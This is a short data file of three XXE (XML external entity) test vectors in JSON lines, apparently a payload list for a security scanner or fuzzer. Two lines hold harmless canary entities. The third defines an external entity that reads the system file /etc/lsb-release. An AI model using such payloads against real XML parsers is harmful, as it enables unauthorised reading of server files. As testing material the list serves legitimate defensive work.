{"vector":"<!DOCTYPE docem [<!ENTITY xxe_test \"XXE_STRING\">]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}